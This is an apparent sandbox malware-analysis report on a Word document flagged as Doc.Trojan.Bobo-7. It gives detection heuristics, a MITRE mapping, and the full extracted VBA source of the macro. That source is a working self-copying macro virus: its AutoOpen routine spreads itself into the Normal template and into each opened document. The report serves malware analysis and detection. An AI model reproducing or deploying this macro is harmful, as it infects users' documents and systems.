MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is a malicious Office document containing a VBA macro. The AutoOpen macro attempts to copy itself to the NormalTemplate and the active document, likely to ensure persistence across sessions. The ClamAV detection 'Doc.Trojan.Bobo-7' further supports its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Bobo-7 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Bobo-7
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1219 bytes |
SHA-256: 46df24ca2b43c8681d82e6ad606b8628a360a871df3b7f980aa35dbfb6bddd6b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "macronew"
Sub AutoOpen()
bo = False
For Each sty In NormalTemplate.VBProject.VBComponents
If sty.Name = "macronew" Then
bo = True
End If
Next sty
If bo = False Then
m = ActiveDocument.Path
r = m + "\" + ActiveDocument.Name
Application.OrganizerCopy Source:=r, _
Destination:=NormalTemplate, Name:="macronew", _
Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
If Err.Number <> 0 Then
Exit Sub
End If
End If
bo = False
For Each sty In ActiveDocument.VBProject.VBComponents
If sty.Name = "macronew" Then
bo = True
End If
Next sty
If bo = False Then
m = ActiveDocument.Path
r = m + "\" + ActiveDocument.Name
Application.OrganizerCopy Source:=NormalTemplate, _
Destination:=r, Name:="macronew", _
Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs r
If Err.Number <> 0 Then
Exit Sub
End If
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.